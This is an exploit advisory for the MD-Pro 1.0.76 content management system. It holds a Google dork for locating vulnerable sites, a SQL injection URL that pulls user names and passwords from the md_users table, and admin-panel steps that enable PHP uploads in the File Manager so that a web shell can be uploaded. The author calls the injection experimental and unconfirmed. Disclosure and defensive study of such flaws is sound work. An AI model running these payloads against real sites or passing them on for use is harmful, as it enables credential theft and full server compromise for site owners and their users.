Headline
MD-Pro 1.0.76 Shell Upload / SQL Injection
MD-Pro version 1.0.76 suffers from remote SQL injection and shell upload vulnerabilities.
# Exploit Title: MD-Pro 1.0.76. ( SQL injection + shell upload )# Google Dork: intext: Powered by MD-Pro# Date: 2024-08-30# Exploit Author: Emiliano Febbi# Vendor Homepage: https://www.opensourcecms.com/wp-content/uploads/MDPro-website-description.png# Software Link: https://www.opensourcecms.com/mdpro/# Version: 1.0.76.# Tested on: Windows 10 ::: ::: ::::::::: ::::::::: ::::::::: :::::::: :+:+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+: +:+ +:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +#+ +:+ +#+ +#+ +:+ +#++:++#++:++ +#++:++#+ +#++:++#: +#+ +:+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ #+# #+# #+# #+# #+# #+# #+# #+# #+# ### ### ######### ### ### ### ######## #2024 [code] Proof of concept for MD-Pro 1.0.76. ( SQLi + shell upload )-------------------------------------------------------------Part 1-------------------------------------------------------------------------------The SQLi that I will introduce is an experimental stuff that I am not even 100% sure!#############################################################################################################################################################modules.php?op=modload&name=News&file=article&sid=-1 union all select 1,pn_name,3,4,5,6,7,pn_pass,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM md_users--#############################################################################################################################################################-------------------------------------------------------------Part 2--------------------------------------------------------------------------------Vulnerability present in the MD-Pro module ' EW FileManager ' inside the admin panel.The extensive query is: ' index.php?module=ew_filemanager&type=admin ' of the module, now you have to make changes:1# Go to this address * index.php?module=ew_filemanager&type=admin&func=modifyconfig * and change these fields in this way:in default's directory of users files insert ' ./ ' or ' ../ '2# Add this string in both to the modifiable extensions and to those of images ' htm,html,txt,php ' AND ' jpg,jpeg,png,bmp,gif,php ' (save all).3# Now go to File Manager (now is activated) and you can upload the shell from the basic upload form.[/code]